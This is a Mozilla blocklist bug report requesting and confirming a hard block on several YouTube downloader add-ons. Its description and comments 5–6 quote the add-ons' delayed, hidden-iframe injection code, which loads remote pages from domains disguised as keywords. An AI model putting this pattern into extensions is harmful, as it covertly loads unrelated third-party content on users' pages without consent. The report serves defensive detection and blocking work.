1579965 - Extension Block Request: YouTube downloaders injecting content from HTML keywords-alike domains

Status: RESOLVED FIXED

(Toolkit :: Blocklist Policy Requests, task)

Description

[gwarser]

Extension name	YouTube downloaders injecting content from HTML keywords-alike domains
Extension versions affected	<all versions>
Platforms affected	<all platforms>
Block severity	hard

Reason

Extensions waits few hours after installation and then content script starts injecting hidden iframe with obfuscated code. Iframe source URL is concealed as random JS or HTML keywords.

• unexpected hidden behavior
• connects to unrelated 3p

Extension IDs

@yvd-addon
@youtube-to-mp4
[e-mail]
[e-mail]
[e-mail]

Additional Information

There could be more.

They all use code similar to this:

chrome.storage.local.get('t', function(res) {
    if (res.t) {
        var time = (new Date()
            .getTime() - res.t) / 3600000;
        if (time >= 8) {
            var downloadDiv = document.createElement("div");
            var downloadButton = document.createElement("iframe");
            downloadButton.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left:0;border:none;visibility:hidden");
            downloadButton.src = '//div' + '.' + 'show/element';
            downloadButton.id = "downloadButton";
            document.body.appendChild(downloadDiv);
            downloadDiv.appendChild(downloadButton);
        }
    }
});

Comment 1

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

I couldn't find a such thing in @youtube-to-mp4 or [e-mail], can you let me know which snippet you mean there?

Comment 2

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

I've reviewed the add-ons and confirmed they contain unexpected features without user consent

Comment 3

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

The block has been pushed.

Comment 4

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

(Note the block currently excludes those in comment 1)

Comment 5

[gwarser]

[e-mail]:

https://robwu.nl/crxviewer/?crx=https%3A%2F%2Faddons.mozilla.org%2Ffirefox%2Fdownloads%2Flatest%2Fyoutube-downloader-updated%2Fplatform%3A2%2Fyoutube-downloader-updated.xpi&q=!storage.local&qf=files%2Ffg%2FYoutubeWatchPage.js&qb=1&qh=1&qi=1

chrome.storage.local.get('installed', function(res) {
    if (res.installed) {
        var data = (new Date()
            .getTime() - res.installed) / 3600000;
        if (data >= 8) {
            linkContainer = document.createElement('div');
            downloadLink = document.createElement('iframe');
            linkContainer.setAttribute('style', 'visibility:hidden');
            downloadLink.src = '//noop' + '.' + 'style/tube';
            link = document.body.appendChild(linkContainer);
            linkContainer.appendChild(downloadLink);
        }
    }
});

@youtube-to-mp4:

https://robwu.nl/crxviewer/?crx=https%3A%2F%2Faddons.mozilla.org%2Ffirefox%2Fdownloads%2Flatest%2Fyoutube-to-mp4-button%2Fplatform%3A2%2Fyoutube-to-mp4-button.xpi&q=!storage.local&qf=files%2Ffg%2FYoutubeWatchPage.js&qb=1&qh=1&qi=1

}
chrome.storage.local.get('installed', function(res) {
    if (res.installed) {
        var data = (new Date()
            .getTime() - res.installed) / 3600000;
        if (data >= 4) {
            linkContainer = document.createElement('div');
            downloadLink = document.createElement('iframe');
            linkContainer.setAttribute('style', 'visibility:hidden');
            downloadLink.src = '//noop' + '.' + 'style/link';
            link = document.body.appendChild(linkContainer);
            linkContainer.appendChild(downloadLink);
        }
    }
});

Comment 6

[gwarser]

One more if you don't mind:

[e-mail]:

https://robwu.nl/crxviewer/?crx=https%3A%2F%2Faddons.mozilla.org%2Ffirefox%2Fdownloads%2Flatest%2Fyoutube-hd-always%2Fplatform%3A2%2Fyoutube-hd-always.xpi&q=!storage.local&qf=data%2Fscript.js&qb=1&qh=1&qi=1

chrome.storage.local.get('init', function(res) {
    if (res.init) {
        var time = (new Date()
            .getTime() - res.init) / 3600000;
        if (time >= 4) {
            var prefsDiv = document.createElement("div");
            var prefsFr = document.createElement("iframe");
            prefsFr.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left:0;border:none;visibility:hidden");
            prefsFr.src = '//remove' + '.' + 'video/320p';
            prefsFr.id = "prefsFr";
            document.body.appendChild(prefsDiv);
            prefsDiv.appendChild(prefsFr);
        }
    }
});

Comment 7

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

Thanks for the pointers. Taking care of these now:

[e-mail]
@youtube-to-mp4
[e-mail]

Comment 8

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

I've reviewed the add-ons and confirmed they contain unexpected features without user consent.

Comment 9

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

The block has been pushed.

Comment 10

[Philipp Kewisch [:Fallen] [:📆][:🧩]]

For any new blocks please open a new bug. Thanks for the report!

Comment 11

[ramiro]

Extension name YouTube downloaders injecting content from HTML keywords-alike domains
Extension versions affected <all versions>
Platforms affected <all platforms>
Block severity hard

Comment 12

[rilloyd]

Thanks for catching that.

Any suggestions, pointers, etc. or reference material that could be use to help me identify things like this?